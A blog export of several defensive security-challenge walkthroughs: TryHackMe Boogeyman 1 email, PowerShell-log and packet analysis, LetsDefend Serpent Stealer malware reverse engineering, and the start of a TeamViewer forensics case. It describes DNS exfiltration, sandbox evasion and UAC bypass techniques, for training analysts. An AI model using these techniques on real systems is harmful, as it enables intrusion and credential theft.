completed, let’s close out this walkthrough of the Log Analysis — Privilege Escalation challenge!\nA big thank you to Blue Team Labs Online for another fun challenge! This challenge not only highlights the importance of thorough log analysis but also demonstrates the value of understanding attacker techniques to better defend our systems. While this challenge is geared toward beginners, the hands-on practice and critical thinking required to solve it is helpful for any skill level. Personally, I was really intrigued by the exploitation of Python to achieve privilege escalation — very cool stuff!\nIf you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Notepad++: https://notepad-plus-plus.org/\nKali Linux Documentation (linux-exploit-suggester): linux-exploit-suggester | Kali Linux Tools\nKali Linux Documentation (tcpdump): https://www.kali.org/tools/tcpdump/\nMITRE ATT\u0026amp;CK (Indicator Removal: File Deletion): https://attack.mitre.org/techniques/T1070/004/\nWikipedia (PHP): https://simple.wikipedia.org/wiki/PHP\nGTFO Bins: https://gtfobins.github.io/\n","date":"2024-08-11T00:00:00Z","image":"/posts/blue-team-labs-online-log-analysis-privilege-escalation-challenge-walkthrough/3af475c320acba85260c217ce4e9b230_MD5.png","permalink":"/posts/blue-team-labs-online-log-analysis-privilege-escalation-challenge-walkthrough/","title":"Blue Team Labs Online  — Log Analysis - Privilege Escalation Challenge Walkthrough"},{"content":"TryHackMe — Boogeyman 1 Challenge Walkthrough Email, Endpoint, \u0026amp; Network Forensic Investigation using Thunderbird, LNKParse3, PowerShell Logs, JQ, \u0026amp; Wireshark Image Credit: https://tryhackme.com/r/room/boogeyman1\nIntroduction: Are you afraid of the Boogeyman?\nIf not, welcome to my weekly walkthrough, you’ve stumbled on the right blog! This blog is a walkthrough of the Boogeyman 1 challenge from TryHackMe and is the first in a series of capstone challenges for the SOC Level 1 path. This challenge is a multi-part digital forensics and incident response (DFIR) investigation focusing on a fictional threat actor called the Boogeyman.\nIn this challenge, we will investigate email, endpoint, and network artifacts collected from a victim compromised by this new, shadowy threat actor. It is our job as security analysts to determine how the Boogeyman got in, what they took, and how they did it. Doesn’t sound so scary, right?\nTo unmask the Boogeyman, we’ll utilize a few tools at different points in our investigation including LNKParse3, JQ to parse JSON formatted PowerShell logs, and Wireshark for deep packet capture analysis.\nNow let’s grab our flashlights and shine a light on the Boogeyman’s tactics, techniques, and procedures. I don’t want to ruin any of the fun, so this walkthrough will not contain spoilers, but please use this as a reference and enjoy! Thanks for reading along!\nChallenge Link: https://tryhackme.com/r/room/boogeyman1\nChallenge Scenario: Uncover the secrets of the new emerging threat, the Boogeyman.\nIn this room, you will be tasked to analyse the Tactics, Techniques, and Procedures (TTPs) executed by a threat group, from obtaining initial access until achieving its objective.\nTask 2 — Email Analysis Julianne, a finance employee working for Quick Logistics LLC, received a follow-up email regarding an unpaid invoice from their business partner, B Packaging Inc. Unbeknownst to her, the attached document was malicious and compromised her workstation.\nThe security team was able to flag the suspicious execution of the attachment, in addition to the phishing reports received from the other finance department employees, making it seem to be a targeted attack on the finance team. Upon checking the latest trends, the initial TTP used for the malicious attachment is attributed to the new threat group named Boogeyman, known for targeting the logistics sector.\nYou are tasked to analyse and assess the impact of the compromise.\nQuestion 1: What is the email address used to send the phishing email? We’ll jump right into our environment and look at the dump.eml file. There are number of ways that we can approach header analysis of this email, but let’s just open with the Mozilla Thunderbird client so that we can get the victim’s perspective.\nThe phishing email.\nWe’ll start out with a simple one and enter the From field address to answer Question 1.\nQuestion 2: What is the email address of the victim? We’ll follow the same process for Question 2 except this time we will enter the To field name which is the recipient address.\nQuestion 3: What is the name of the third-party mail relay service used by the attacker based on the DKIM-Signature and List-Unsubscribe headers? Now, we need to get more detail beyond what’s shown in the normal, visible headers by viewing the message source.\nTo do this in Thunderbird press More \u0026gt; View Source.\nIt might look a little scary at first, but let’s use the find function of the text editor to locate the DKIM-Signature line:\nIf you would like more information on what DKIM is or what the header means, refer to the excellent Email Headers list from Mailtrap.io. I refer to this list often when I need additional context for email header analysis!\nEmail Headers Explained: Definition, Components, Role [2024] _Email Headers contain important information and can be useful for improving email deliverability. Learn what they are…_mailtrap.io\nQuestion 4: What is the name of the file inside the encrypted attachment? Now, let’s download the suspicious ZIP archive file from the email message and save it to our artefacts folder. If we peek inside of the archive, we’ll see a .lnk (shortcut) file within it.\nVery suspicious, indeed! Fortunately, this is enough information to answer Question 4!\nQuestion 5: What is the password of the encrypted attachment? Let’s jump back to Thunderbird and review the suspicious email sent to the victim. We’ll notice that the sender was kind enough to send us a handy password to open the archive.\nNow that we have the password for the ZIP file, we will extract the .lnk file. In the next question, we’ll perform some analysis on this LNK file in the next question.\nQuestion 6: Based on the result of the lnkparse tool, what is the encoded payload found in the Command Line Arguments field? Now that we have extracted the .lnk from the archive, we’ll parse it and see if we can determine what it does. To do this, we will use the tool suggested in the challenge introduction — LnkParse3.\nWithin our analysis environment, open up the terminal and use the following syntax to parse the file:\nlnkparse NAME-OF-FILE.lnk\nScroll through the output and we’ll see something interesting — an encoded PowerShell command. This is extremely suspicious and definitely requires further investigation.\nFor now, we only need to submit the encoded command to answer Question 6 before we move on to investigating the victim’s endpoint device.\nTask 3 — Endpoint Security Based on the initial findings, we discovered how the malicious attachment compromised Julianne’s workstation:\nA PowerShell command was executed.\nDecoding the payload reveals the starting point of endpoint activities.\nQuestion 1: What are the domains used by the attacker for file hosting and C2? Provide the domains in alphabetical order. (e.g. a.domain.com,b.domain.com) So, we know that a malicious PowerShell command was executed from the execution of malicious attachment we analyzed in the previous task. To determine the impact of the malicious attachment, we’re going to need to analyze the Windows PowerShell event logs.\nBut first, let’s decode the Base64 encoded payload that we discovered within the attachment. There are a few tools to do this, but for simplicity, I’ll just utilize the Base64 command to decode this in the terminal_:_\necho \u0026ldquo;ENCODED STRING\u0026rdquo; | base64 -d\nLet’s note this URL and move on to analyzing the PowerShell logs. We have just a quick detour — remember the note from Task 1?\nNote: The powershell.json file contains JSON-formatted PowerShell logs extracted from its original evtx file via the evtx2json tool.\nSo, rather than viewing the exported PowerShell Windows Event Log (.evtx) file, we are going to rely on JQ, which is a command-line based JSON parsing tool to parse the PowerShell.json.\nWe will start with the simplest option; parsing the JSON file into the beautified output using the syntax below:\ncat powershell.json | jq\nRight away, we will see a ton of information but it’s too much output to sift through manually. Let’s filter by events by “ScriptBlockText” so that we can focus on events with statements that we can analyze.\nAccording to Microsoft:\nIn the PowerShell programming language, a script block is a collection of statements or expressions that can be used as a single unit. The collection of statements can be enclosed in braces ({}), defined as a function, or saved in a script file. A script block can return values and accept parameters and arguments.\nLet’s go a step further too. We’ll re-tool our JQ filter to apply sorting by Timestamp, the ScriptBlockText field, and remove duplicate entries:\ncat powershell.json | jq -s -c \u0026lsquo;sort_by(.Timestamp) | .[] | {ScriptBlockText}\u0026rsquo; | sort | uniq\nWhile this still returns a lot of output, we’ve filtered to the most relevant output for our search. In particular, there are a couple of interesting lines that are requesting data with different URLs — one uses Invoke-WebRequest and the other t_hat we already found by decoding the Base64 command uses WebClient._\nThese are the two command and control (C2) domains that we are looking for to answer Question 1!\nQuestion 2: What is the name of the enumeration tool downloaded by the attacker? We’ll keep with the same JQ output since we actually saw this earlier while looking for the C2 URLs.\nThe attacker downloaded a tool from a GitHub Repository, but is it an enumeration tool? Let’s do some research to find out.\nSee the name of the .ps1 file referenced at the end of the command? Navigate to the GitHub repository and we can locate the separate repository for referenced tool!\nWe’ll do some quick reading through the documentation for this project to discover that the tool does contain some enumeration function using WMI - this confirms that we discovered the correct tool!\nQuestion 3: What is the file accessed by the attacker using the downloaded sq3.exe binary? Provide the full file path with escaped backslashes. Okay, now we are looking for a specific executable. We’ll keep with using JQ but we need to adjust our scope. What if we grep the output to display only results containing sq3.exe?\ncat powershell.json | jq \u0026lsquo;{ScriptBlockText}\u0026rsquo; | grep \u0026ldquo;sq3.exe\u0026rdquo;\nHey, that’s getting us closer! We found a file that the executable accessed. Now all we need to know is the user account name to add to the front of the path. We’ll use the same command as before but revise the grep to the change directory (cd) command. This should help us understand how the attacker traversed the victim’s directories and disclose a valid profile name.\ncat powershell.json | jq \u0026lsquo;{ScriptBlockText}\u0026rsquo; | grep \u0026ldquo;cd\u0026rdquo;\nHere, we’ll find references to a user profile name. Append this profile name to the path we found earlier accessed by sq3.exe to form our answer!\nQuestion 4: What is the software that uses the file in Q3? To answer this question, look at the file path from the previous question:\nThe file is a database that stores information for a specific application, the specific application is the answer to Question 4.\nQuestion 5: What is the name of the exfiltrated file? Let’s pull back and revisit the JQ output for ScriptBlockText that we used in Question 1 and browse through the output again. We’ll stumble across the following line where we can see some evidence of a file being exfiltrated to an external IP address:\nSubmit the IP address as the answer but also add it to your notes as we may need it again later!\nQuestion 6: What type of file uses the .kdbx file extension? If you aren’t familiar with this file type, do some quick Google research to determine what application uses it. There is a help center for the application that has a detailed specification page about the file extension.\nQuestion 7: What is the encoding used during the exfiltration attempt of the sensitive file? Continue reviewing the JQ parsed command output. Following the line we discovered to answer Question 5, we’ll see another interesting item that contains the file encoding used during the exfiltration:\nQuestion 8: What is the tool used for exfiltration? To answer Question 8, refer back to the previous question’s output that contains the encoding method and look further down the command.\nAfter the data is encoded, we’ll see another command which appears to be using DNS to query the A record of attacker-controlled infrastructure at the $destination variable. Remember that the IP address we found in Question 5 was defined as $destination?\nThis looks like it might be a living off the land exfiltration technique where targeted data is encoded, split to a character limit, and then exfiltrated though DNS queries to the adversary’s infrastructure by appending the data (the $line variable) to a domain name where it can be reassembled or interpreted by the adversary.\nMaybe we will get more information when we move into the network packet capture analysis…\nTask 4 — Network Traffic Analysis Based on the PowerShell logs investigation, we have seen the full impact of the attack:\nThe threat actor was able to read and exfiltrate two potentially sensitive files.\nThe domains and ports used for the network activity were discovered, including the tool used by the threat actor for exfiltration.\nQuestion 1: What software is used by the attacker to host its presumed file/payload server? Now, we are moving into the next phase of our investigation, the network traffic analysis. From the artefact folder, double-click capture.pcapng to open it with Wireshark.\nOnce we’re in Wireshark, we need a starting point for the next phase of our investigation. Let’s begin by inputting the attacker’s infrastructure IP address that we located in Question 5 of the Endpoint Security section into Wireshark’s filter:\nip.addr==167.71.211.113\nThat’s a lot of output, so let’s make this a bit more manageable and focus on the HTTP protocol traffic by further adjusting our filter.\nhttp \u0026amp;\u0026amp; ip.addr==167.71.211.113\nMuch more manageable! Let’s focus in on the first HTTP response (33256.) Right click the packet row \u0026gt; Follow \u0026gt; HTTP Stream.\nOnce the HTTP Stream window opens, we can check out the Server field to determine what application is hosting the web server:\nQuestion 2: What HTTP method is used by the C2 for the output of the commands executed by the attacker? We found this information when analyzing the PowerShell logs in Endpoint Security Question 1, remember? If not, here’s a refresher:\nSince, we know the attacker is exfiltrating the data out and not requesting it in, the method would NOT be GET…\nQuestion 3: What is the protocol used during the exfiltration activity? Remember back in Question 8 of the Endpoint Security Section (Task 3) we discovered that the exfiltration tool used a specific protocol? This is the answer to Question 3.\nQuestion 4: What is the password of the exfiltrated file? Since this gets a little complicated, let’s lean on the question hint:\nThanks, THM! So, the working theory here is that we need to locate a password that the victim stored in the file that accessed by sq3.exe in the Endpoint Investigation (Question 3) to “unlock” the exfiltrated file.\nSo, let’s leverage Wireshark’s search function to search the packets for a keyword. First, press CTRL + F to bring up the find/search bar, then select String, and finally select Packet details so we can search within middle “packet details” window. Now enter sq3.exe into the search box.\nHere, we will locate an HTTP GET request packet (42700), but since the attacker took the data and sent it out, we’re looking for a POST request.\nIf we continue with the find function, there are four hits for sq3.exe. The last one has the same PowerShell command in the text data that we found in the Endpoint Analysis section for Question 3. It feels like we are getting closer!\nSo, we’ll use 44459 as our starting point for searching POST requests. We’ll need to cut down the noise by filtering HTTP POST methods since we can’t simply just keep searching sq3.exe. We can further narrow our scope by also filtering anything below our starting point frame number.\nhttp.request.method==POST \u0026amp;\u0026amp; frame.number \u0026gt; 44459\nThis gets us down to nine entries. Let’s start analyzing the first entry (44467) and Follow \u0026gt; HTTP Stream:\nWell, that’s a big blob of something! Let’s drop it into CyberChef so that we can do some decoding operations and see if we can get something readable. To start, we can go lazy mode and see if the Magic function can do anything for us:\nIt looks like CyberChef can do some decoding if we apply the From Decimal recipe. Let’s apply it and see what we can find…\nBingo! We found the “Master Password” that the victim stored in plain text— not good!\nQuestion 5: What is the credit card number stored inside the exfiltrated file? Alright, we made it to the last question! Now that we have a “Master Password” we need to unlock something with it…\nLet’s recap what we know so far:\nThe exfiltrated file is a type of database that would require a master password. We know what application it is from Task 3 — Question 6. From Question 8 of the previous task, we also know that this database was being converted to Hexadecimal in blocks, and exfiltrated over DNS A record queries to the destination IP address of 167[.]71[.]211[.]113 Each DNS query is sent in the format of an encoded string ($line) appended to bpakcaging[.]xyz. Below is the evidence from that question for our reference:\nPowerShell Reference of the KDBX Exfiltration\nSo, we know the file, protocol, domain, and IP address. Let’s try to leverage Wireshark to filter out just the packets relevant to this information. To do this, we need to adjust our filter again.\nFirst, I went to Wikipedia to find out the type id for the DNS A Record which is 1. This helps us build our Wireshark query to only look at DNS A records. Then we also input the IP address that the data is exfiltrated to.\ndns.qry.type==1 \u0026amp;\u0026amp; ip.dst==167.71.211.113\nNow, we will see a ton of rows returned but the data matches the format that we expected based on what we learned about the exfiltration method. But it isn’t readable just yet.\nSo, now we need to figure out how to reassemble this data. We’re going to move it out of Wireshark so we’ll first export this data by selecting all the filtered packets and pressing File \u0026gt; Export Packet Dissections \u0026gt; As Plain Text.\nFor the purposes of this walkthrough, my output file is called AQuery.txt. When we open AQuery.txt in a text editor, it looks like this:\nWhile helpful, we still need to clean up this data to carve out only the Hex encoded strings that we need. I’m certain there is a better way to do this (alluded to in the question hint) but my approach is to try to transform this data from within the terminal.\nTo save you some time, I freely admit that there was a lot of stumbling, trial and error, and time spent researching with Google and Microsoft Copilot to come up with command using grep and sed that would work to clean up the data, until at long last, I landed on the below version:\ngrep -Eo \u0026lsquo;[0-9a-fA-F]{8,}.[a-zA-Z0-9.-]+.[a-zA-Z]{2,}\u0026rsquo; AQuery.txt | sed \u0026rsquo;s/.[a-zA-Z0-9.-]+.[a-zA-Z]{2,}.*//\u0026rsquo; | uniq | tr -d ' '\nHere’s the long story short(ish) — The grep command is performing some pattern matching to display only the Hex strings followed by a “domain.tld” and trailing text from our Wireshark output file. Then, sed removes the domain and any trailing text, removes duplicate entries, and concatenates the results into a single line without any delimiters so it’s a long, single line combining all the Hex strings we found being sent to the C2 domain.\nBut now that we have the required data, we still need to output the file so that we can convert it from Hex into a working database file.\ngrep -Eo \u0026lsquo;[0-9a-fA-F]{8,}.[a-zA-Z0-9.-]+.[a-zA-Z]{2,}\u0026rsquo; AQuery.txt | sed \u0026rsquo;s/.[a-zA-Z0-9.-]+.[a-zA-Z]{2,}.*//\u0026rsquo; | uniq | tr -d ' \u0026rsquo; \u0026gt; hexdump.txt\nWe’re almost there! Now we’ll convert the Hex data to ASCII and save the database as a new output. We’ll achieve this by processing it with xxd.\nxxd creates a hex dump of a given file or standard input. It can also convert a hex dump back to its original binary form. Like uuencode(1) and uudecode(1) it allows the transmission of binary data in a ‘mail-safe’ ASCII representation, but has the advantage of decoding to standard output. Moreover, it can be used to perform binary file patching.\nxxd -r -p hexdump.txt \u0026gt; database.kdbx\nFinally, we can open the reassembled KDBX file! The TryHackMe analysis environment already has the correct application to open this file type and it should automatically be associated.\nOnce it opens, we are prompted for the Master Password that we recovered in the previous question. Inputting the password unlocks the database and allows us to retrieve the credit card number that the victim stored in their password manager which is now in the hands of the adversary! Time to call the bank, indeed!\nGo ahead and input the victim’s credit card number and let’s wrap up this investigation.\nConclusion: Mission accomplished — We have completed our frighteningly fun investigation of the Boogeyman 1! Using our forensic skills, we learned how the Boogeyman infected the victim’s device with a malicious attachment, collected and exfiltrated data with PowerShell and DNS, and stole credit card data stored in KeePass. Now, let’s wrap this investigation!\nA huge thank you to TryHackMe for the seriously fun challenge! I was really impressed with the dimensions of this room as it had three different scopes and a complete narrative. The detail and flow were much closer to a real-world simulation exercise than others I have completed. The escalating difficulty was also really engaging as it started out easy and ramped up as the room went on. This really pushed me out of my comfort zone and forced creativity when it came to the later steps of the Networking Traffic Analysis. I was also excited to have the opportunity to get some hands-on time with JQ as I was familiar with the name but had not encountered it before.\nIf you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Until the Boogeyman returns, stay safe! If you want to continue battling the Boogeyman, be sure to check out my walkthrough of the Boogeyman 2.\nTryHackMe — Boogeyman 2 Challenge Walkthrough\nTools \u0026amp; References: Mailtraip.io Email Headers List: https://mailtrap.io/blog/email-headers/\nLnkParse3: https://github.com/Matmaus/LnkParse3\nJQ: https://jqlang.github.io/jq/\nMicrosoft Script Block: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_script_blocks?view=powershell-7.4\nMicrosoft Learn (WebClient Class): https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient?view=net-8.0\nMicrosoft Learn (Invoke-WebRequest): https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.4\nCyberChef: https://gchq.github.io/CyberChef/\nWikipedia DNS Types: List of DNS record types — Wikipedia\nLinux Man Pages (XXD): https://linux.die.net/man/1/xxd\n","date":"2024-08-04T00:00:00Z","image":"/posts/tryhackme-boogeyman-1-challenge-walkthrough/bbee23c622202d846d1494cceb99078e_MD5.png","permalink":"/posts/tryhackme-boogeyman-1-challenge-walkthrough/","title":"TryHackMe  —  Boogeyman 1 Challenge Walkthrough"},{"content":"LetsDefend — Serpent Stealer Challenge Walkthrough Analyzing the Serpent Stealer Malware with DIE, dotPeek, and MITRE ATT\u0026amp;CK Image Credit: https://app.letsdefend.io/challenge/serpent-stealer\nIntroduction: Have you ever wanted to reverse engineer an info stealer malware sample, see how it works, and determine its capabilities to impact a victim? If this topic sounds interesting to you, you\u0026rsquo;ve stumbled on the right blog!\nWelcome to my weekly walkthrough where we are going to cover the Serpent Stealer Challenge from LetsDefend! This is a medium-difficulty malware reverse engineering challenge where we\u0026rsquo;ll be using JetBrains dotPeek to analyze the provided information stealer malware sample. By digging into this malware\u0026rsquo;s code, we\u0026rsquo;ll determine its capabilities, how it evades detection, and what data it targets — fun stuff!\nAlthough malware reverse engineering isn\u0026rsquo;t my strongest skill, I recently tackled a similar challenge from LetsDefend, so as the old saying goes, practice makes perfect! We might stumble along the way through this one, but we\u0026rsquo;ll adapt and learn some new tricks together.\nLetsDefend — DLL Stealer Challenge Walkthrough\nNow let\u0026rsquo;s grab our shovels and have some fun digging through this malware. Thanks for reading along!\nChallenge Link: https://app.letsdefend.io/challenge/serpent-stealer\nChallenge Scenario: Located in the heart of the financial district, a leading multinational company was hit by a sophisticated data theft. Over several months, confidential customer data, proprietary software, and sensitive financial information were stolen. The company\u0026rsquo;s cybersecurity team recently discovered that a \u0026quot; # \u0026quot;\nstealer\u0026quot; malware was responsible for the breach. They are analyzing the stealer and trying to protect the company from future attacks.\nQuestion 1: What is the md5 hash for the malware? Let\u0026rsquo;s jump right in and connect to the provided virtual machine and extract the challenge file archive within the Challenge File folder.\nIn the meantime, it\u0026rsquo;s also a good idea to get familiar with the provided tools so that we have some idea of what\u0026rsquo;s available to tackle the challenge. Let\u0026rsquo;s review the Tools folder on the Desktop. Right away, we\u0026rsquo;ll see several available disassemblers, debuggers, and decompilers which will be helpful to dig into the provided malware sample.\nBut for our first task, we simply need to get the MD5 file hash of the sample so that we can start learning about this stealer malware. There are a couple of ways we can approach this, but for this walkthrough I am going to just use PowerShell — if you have another method you like, go for it! The important thing is that we get the MD5 hash:\nGet-FileHash -Algorithm MD5 .\\sample\nNow that we have the file hash of this sample, we can answer Question 1! But for some additional intelligence, why don\u0026rsquo;t we also check this hash against VirusTotal to see if there are any hits?\nVirusTotal VirusTotalwww.virustotal.com\nAll right, this is a well-known malware sample which might be helpful later in our investigation. For now, let\u0026rsquo;s keep going and see what else we can uncover.\nQuestion 2: What is the name of the list the malware uses to evade detection by the VirusTotal check? To answer Question 2, we need to first figure out the best tool to use to analyze the malware. But before we do that, we need to understand what type of file the sample is. To do this, let\u0026rsquo;s gather some information using Detect It Easy (DIE) which is a utility that can be used to determine the file type of an application.\nTo put this into practice, let\u0026rsquo;s point DIE to the path of the _c_hallenge\u0026rsquo;s malware sample:\nHere we will see that the sample binary is a .NET portable executable (PE32). Since we now know that it is a .NET binary, we can select the right tool to disassemble the executable and start to answer Question 2.\nAs I hinted at in the introduction, we\u0026rsquo;re going to leverage JetBrains dotPeek which is already installed on the LetsDefend VM we\u0026rsquo;re using.\ndotPeek is a free .NET decompiler and assembly browser. The main idea behind dotPeek is to make high-quality decompiling available to everyone in the .NET community, free of charge.\nGet started | dotPeek _dotPeek is available for download in two distributions: as a part of dotUltimate installer and as portable versions for\u0026hellip;_www.jetbrains.com\nNow, let\u0026rsquo;s jump into dotPeek and start to analyze the malware. To do this, open the Challenge File folder, right-click the extracted sample, and select \u0026quot; # \u0026quot;\nOpen With \u0026gt; JetBrains dotPeek.\u0026quot;\nThis will launch dotPeek and load the challenge file. Don\u0026rsquo;t worry, it will take a few minutes to load the assembly explorer, but when it does, expand the node called Serpent.\nWe\u0026rsquo;ll see that the assembly objects contained within Serpent are both organized and non-obfuscated which is going to speed up our analysis. Since we are looking for a defense evasion technique, let\u0026rsquo;s try expanding the Evasion object and focus on the AntiVT class.\nVirusTotal evasion list.\nHere we see that the malware does an environment check (T1497.001) to detect if it is being analyzed on VirusTotal by comparing the user name of the victim\u0026rsquo;s system to a stored list containing common user names used by VirusTotal during analysis. If any of the strings match, the malware sleeps and exits to avoid further detection.\nCircling back to the objective, the name of the list containing these strings is what we\u0026rsquo;ll need to answer Question 2.\nQuestion 3: What is the name of the folder that was used by the malware to collect the password on it? Now let\u0026rsquo;s expand the modules object and expand the conveniently labelled PasswordStealer method. To answer Question 3, we will focus on the Run method within the PasswordStealer:\nLooking closely at this method, we\u0026rsquo;ll discover that the malware creates a centralized folder called \u0026quot; # \u0026ldquo;serpent\u0026quot;in the temporary directory of the victim\u0026rsquo;s system for staging the data it collects (T1074.001.)\nQuestion 4: What is the first command that the malware uses to bypass the User Account Control (UAC)? Okay, now we are going to examine some of the mechanisms that the malware uses for privilege escalation. Let\u0026rsquo;s return to the Evasion object and focus on the UAC class.\nTo understand what the malware is doing, we first need to understand what User Account Control (UAC) in Windows is_._ According to Microsoft Learn:\nUser Account Control (UAC) is a Windows security feature designed to protect the operating system from unauthorized changes. When changes to the system require administrator-level permission, UAC notifies the user, giving the opportunity to approve or deny the change.\nIn other words, UAC helps prevent unauthorized, administrator-level changes on a system by notifying users of the request and requiring approval to proceed, typically by supplying administrative credentials.\nLet\u0026rsquo;s look at the first bypass string (psCMD1) in the UAC class. This command creates a new registry key which can be abused to bypass UAC (T1548.002) — it is also the answer to Question 4.\nOnce you copy the string out, it\u0026rsquo;s a little tricky as the format of the double quotation marks doesn\u0026rsquo;t transfer over the VNC clipboard. Instead, on a US keyboard, I used the ALT codes for double quotation marks Alt 0147 to open, Alt 0148 to close the path.\nQuestion 5: How many file extensions does the malware target? Next, let\u0026rsquo;s analyze what file extensions this stealer targets so that we can understand the impact to a victim\u0026rsquo;s system.\nTo locate this information, we\u0026rsquo;ll navigate back to Modules \u0026gt; FileStealer function \u0026gt; SupportedExtensions string and focus on the below lines of code:\nThis will take us directly to the location we need to discover which extensions are targeted by the malware. Let\u0026rsquo;s submit our findings and move forward with the investigation.\nQuestion 6: What is the first process listed in the blacklisted processes used by the malware? Back to the Evasion object! This time, we\u0026rsquo;re going to and check the AntiAV class and look at the blackListedProcesses string.\nThe malware is doing another system check for indicators that it is executed in an analysis environment by looking for processes common in malware analysis sandboxes like virtualization/analysis tool processes. This technique is another example of the malware attempting be stealthy and evade detection (T1497.001.)\nTo answer Question 6, we just need to input the first process name in the stealer\u0026rsquo;s blackListedProcesses list.\nQuestion 7: What is the last wallet name that is targeted by the malware on the list? To answer Question 7, we\u0026rsquo;re going to search for the crypto wallets that the stealer targets.\nThis will be largely the same process that we have followed for the last couple of questions. We\u0026rsquo;ll navigate back to the Modules, and look at the Run method of the Wallets tab.\nHere, we\u0026rsquo;ll see a list of the specific crypto wallet services that are targeted by the malware. We can just input last wallet name on the list for the answer and then we\u0026rsquo;ll move on to the final question of this challenge!\nQuestion 8: After getting the current user, what is the subkey used by the malware to dump FTP credentials? We\u0026rsquo;ve made it to the last question! Now, to discover the answer to Question 8, we\u0026rsquo;ll check the Run method under FTPStealer, in the Root Namespace.\nTake a look at the first couple of strings under the Run method:\nWe see that the malware is targeting a Windows Registry hive HKCU\\Software\\Microsoft\\FTP where the Credentials key stores FTP credentials, if they are cached on the victim device (T1552.002.)\nOkay, there we have it! Now that we have determined Registry key that the FTPStealer function targets, let\u0026rsquo;s submit our answer and wrap up this investigation.\nConclusion: Mission accomplished! We have finished our analysis of the Serpent Stealer malware, learned how it evades detection, elevates privileges, and what victim data it targets. With the listed objectives completed, it\u0026rsquo;s time to close out this walkthrough of the Serpent Stealer challenge!\nA big thank you to LetsDefend for another fun challenge! I chose this challenge for two reasons: To keep upskilling in malware reverse engineering and to get more familiar with how information stealer malware works. I appreciated the opportunity to jump back into dotPeek and have more hands-on time with the tool. As information stealers become a bigger and more common threat, it\u0026rsquo;s equally important to me to peek into stealer functionality for insights on how to better defend against them. Like I said in the introduction, practice makes perfect; so thank you for practicing your reverse engineering skills with me. I hope you learned something and had some fun along the way!\nIf you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We\u0026rsquo;re in this together! Thanks for the support!\nUntil next week — stay curious.\nTools \u0026amp; References: JetBrains dotPeek: https://www.jetbrains.com/decompiler/\nVirusTotal: https://www.virustotal.com/gui/file/c4f981f1f532ec827032775c88a45f1b4153c3d27885f189654ad6ee85c709c1/details\nDetect It Easy: https://github.com/horsicq/Detect-It-Easy\nMITRE ATT\u0026amp;CK (T1497.001 — Virtualization/Sandbox Evasions: System Checks): https://attack.mitre.org/techniques/T1497/001/\nMITRE ATT\u0026amp;CK (T1074.001 — Data Staged: Local Data Staging): https://attack.mitre.org/techniques/T1074/001/\nMicrosoft Learn (UAC): https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/\nMITRE ATT\u0026amp;CK (T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control): https://attack.mitre.org/techniques/T1548/002/\nMITRE ATT\u0026amp;CK (T1552.002 — Unsecured Credentials: Credentials in Registry): https://attack.mitre.org/techniques/T1552/002/\n","date":"2024-07-28T00:00:00Z","image":"/posts/letsdefend-serpent-stealer-challenge-walkthrough/bb6f90b69706d1d0d97098e250137449_MD5.png","permalink":"/posts/letsdefend-serpent-stealer-challenge-walkthrough/","title":"LetsDefend — Serpent Stealer Challenge Walkthrough"},{"content":"LetsDefend — TeamViewer Forensics Challenge Walkthrough Endpoint Forensic Investigation using the TeamViewer Logs and MFTECmd Image Credit: https://app.letsdefend.io/challenge/teamviewer-forensics\nIntroduction: Have you ever read a story in the news about a cyber-attack where the bad guys used remote monitoring and management (RMM) software like TeamViewer and wondered how you would investigate unauthorized access if that happened to you? If this topic sounds interesting to you, you\u0026rsquo;ve stumbled on the right blog!\nWelcome to my weekly walkthrough! This blog is a walkthrough of the Team Viewer Forensics challenge from LetsDefend! Team Viewer Forensics is a medium-difficulty DFIR challenge that has us defenders investigating a victim\u0026rsquo;s TeamViewer log files and then leveraging Eric Zimmerman\u0026rsquo;s MFTECmd utility to examine the actions taken by the attacker after they gained initial access to the system. By analyzing the artifacts of the file system, we\u0026rsquo;re going to determine when and how the attacker accessed the system and what they took — fun stuff!\nNow let\u0026rsquo;s put on our detective hats and have some fun with TeamViewer forensics. Thanks for reading along!\nChallenge Link: https://app.letsdefend.io/challenge/teamviewer-forensics\nChallenge Scenario: During a workday, an employee noticed strange unauthorized activity on his computer, with applications opening and the mouse moving. Quickly realizing that someone was remotely accessing his machine via TeamViewer, the employee acted quickly, changing his TeamViewer password and alerting the security team. However, the employee must still clarify how the breach occurred and how far the threat actor has gone. Your challenge is to unravel this mystery and discover how the intruder gained access and what they did.\nQuestion 1 \u0026amp; 2: What is the intruder\u0026rsquo;s username? \u0026amp; What is the \u0026quot; # \u0026quot; user ID\u0026quot; associated with the intruder\u0026rsquo;s username?\nOkay, before we jump into the analysis, let\u0026rsquo;s ensure that our environment is ready and extract the challenge file from the 7z archive. We\u0026rsquo;ll see that this is the file structure of the primary (C:) drive from the victim\u0026rsquo;s device.\nSince we know that the victim saw some suspicious activity from the remote monitoring and management application, TeamViewer, let\u0026rsquo;s start off by looking at the log files generated by this app.\nWe\u0026rsquo;ll start by doing some research on the vendor\u0026rsquo;s support site to determine the locations of the logs:\nFind your log files _This article applies to all TeamViewer customers. Sometimes you may be asked to locate your TeamViewer log files and\u0026hellip;_www.teamviewer.com\nAccording to TeamViewer log files are available in the C:\\Program Files\\TeamViewer directory. Let\u0026rsquo;s navigate to the following path in the challenge file: C\\Program Files\\TeamViewer\nThe first log we want to review is the basic \u0026quot; # \u0026ldquo;Connections_incoming.txt.\u0026ldquo;Let\u0026rsquo;s just open this file up in Notepad for analysis.\nAwesome! While this is a basic incoming connections log, it contains some valuable information for our investigation — I\u0026rsquo;ll highlight the relevant columns we\u0026rsquo;ll need.\nThe first column is the TeamViewer user ID of the incoming agent connection. The second column is the username of the incoming connection. Columns 3€“4 are the start \u0026amp; end times of the connected session. So, with this information, we can answer Question 1 \u0026amp; 2!\nPro Tip: It\u0026rsquo;s best to copy and paste the username using the LetsDefend Virtual Machine VNC clipboard. If you\u0026rsquo;re anything like me, you\u0026rsquo;ll mix up one and L in the username.\nQuestion 1 — Answered\nQuestion 2 — Answered\nQuestion 3: The attacker has joined more 